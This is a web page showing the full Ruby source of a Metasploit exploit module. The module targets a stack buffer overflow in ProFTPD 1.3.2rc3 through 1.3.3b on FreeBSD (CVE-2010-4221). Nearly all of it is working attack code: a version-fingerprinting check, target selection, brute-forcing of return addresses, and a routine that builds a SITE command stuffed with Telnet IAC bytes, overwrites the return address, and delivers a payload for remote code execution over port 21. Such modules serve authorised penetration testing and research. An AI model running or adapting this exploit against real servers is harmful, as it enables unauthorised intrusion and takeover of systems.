CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Ftp
10
include Msf::Exploit::Brute
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)',
15
'Description' => %q{
16
This module exploits a stack-based buffer overflow in versions of ProFTPD
17
server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a
18
large number of Telnet IAC commands, an attacker can corrupt memory and
19
execute arbitrary code.
20
},
21
'Author' => [ 'jduck' ],
22
'References' =>
23
[
24
['CVE', '2010-4221'],
25
['OSVDB', '68985'],
26
['BID', '44562']
27
],
28
'DefaultOptions' =>
29
{
30
'EXITFUNC' => 'process',
31
'PrependChrootBreak' => true
32
},
33
'Privileged' => true,
34
'Payload' =>
35
{
36
'Space' => 1024,
37
# NOTE: \xff's need to be doubled (per ftp/telnet stuff)
38
'BadChars' => "\x00\x0a\x0d",
39
'PrependEncoder' => "\x83\xec\x7f", # sub esp,0x7f (fix esp)
40
},
41
'Platform' => [ 'bsd' ],
42
'Targets' =>
43
[
44
#
45
# Automatic targeting via fingerprinting
46
#
47
[ 'Automatic Targeting', { 'auto' => true } ],
48
49
#
50
# This special one comes first since we dont want its index changing.
51
#
52
[ 'Debug',
53
{
54
'IACCount' => 8192, # should cause crash writing off end of stack
55
'Offset' => 0,
56
'Ret' => 0x41414242,
57
'Writable' => 0x43434545
58
}
59
],
60
61
#
62
# specific targets
63
#
64
[ 'ProFTPD 1.3.2a Server (FreeBSD 8.0)',
65
{
66
'IACCount' => 1024,
67
'Offset' => 0x414,
68
#'Ret' => 0xbfbfeac4,
69
'Writable' => 0x80e64a4,
70
'Bruteforce' =>
71
{
72
'Start' => { 'Ret' => 0xbfbffdfc },
73
'Stop' => { 'Ret' => 0xbfa00000 },
74
'Step' => 512
75
}
76
}
77
],
78
79
],
80
'DefaultTarget' => 0,
81
'DisclosureDate' => '2010-11-01'))
82
83
register_options(
84
[
85
Opt::RPORT(21),
86
])
87
end
88
89
90
def check
91
# NOTE: We don't care if the login failed here...
92
ret = connect
93
banner = sock.get_once || ''
94
95
# We just want the banner to check against our targets..
96
vprint_status("FTP Banner: #{banner.strip}")
97
98
status = CheckCode::Safe
99
if banner =~ /ProFTPD (1\.3\.[23])/i
100
banner_array = banner.split('.')
101
102
if banner_array.count() > 0 && !banner_array[3].nil?
103
# gets 1 char on the third part of version number.
104
relnum = banner_array[2][0..0]
105
tmp = banner_array[2].split(' ')
106
# gets extra string info of version number.
107
# example: 1.2.3rc ('rc' string)
108
extra = tmp[0][1..(tmp[0].length - 1)]
109
if relnum == '2'
110
if extra.length > 0
111
if extra[0..1] == 'rc'
112
v = extra[2..extra.length].to_i
113
if v && v > 2
114
status = CheckCode::Appears
115
end
116
else
117
status = CheckCode::Appears
118
end
119
end
120
elsif relnum == '3'
121
if [ '', 'a', 'b', ].include?(extra)
122
status = CheckCode::Appears
123
end
124
end
125
end
126
end
127
128
disconnect
129
return status
130
end
131
132
def target
133
return @mytarget if @mytarget
134
super
135
end
136
137
def exploit
138
connect
139
140
# Use a copy of the target
141
@mytarget = target
142
143
if (target['auto'])
144
@mytarget = nil
145
146
print_status("Automatically detecting the target...")
147
if (banner and (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))) then
148
print_status("FTP Banner: #{banner.strip}")
149
version = m[1]
150
else
151
fail_with(Failure::NoTarget, "No matching target")
152
end
153
154
regexp = Regexp.escape(version)
155
self.targets.each do |t|
156
if (t.name =~ /#{regexp}/) then
157
@mytarget = t
158
break
159
end
160
end
161
162
if (not @mytarget)
163
fail_with(Failure::NoTarget, "No matching target")
164
end
165
166
print_status("Selected Target: #{@mytarget.name}")
167
168
pl = exploit_regenerate_payload(@mytarget.platform, arch)
169
if not pl
170
fail_with(Failure::Unknown, 'Unable to regenerate payload!')
171
end
172
else
173
print_status("Trying target #{@mytarget.name}...")
174
if banner
175
print_status("FTP Banner: #{banner.strip}")
176
end
177
178
pl = payload
179
end
180
disconnect
181
182
super
183
end
184
185
def brute_exploit(addrs)
186
@mytarget ||= target
187
188
ret = addrs['Ret']
189
print_status("Trying return address 0x%.8x..." % ret)
190
191
#puts "attach and press any key"; bleh = $stdin.gets
192
193
buf = ''
194
buf << 'SITE '
195
# NOTE: buf must be odd-lengthed prior to here.
196
buf << "\xff" * @mytarget['IACCount']
197
buf << rand_text_alphanumeric(@mytarget['Offset'] - buf.length)
198
buf << [
199
ret,
200
@mytarget['Writable']
201
].pack('V*')
202
buf << payload.encoded
203
buf << "\r\n"
204
205
connect
206
sock.put(buf)
207
disconnect
208
209
handler
210
end
211
end
212
213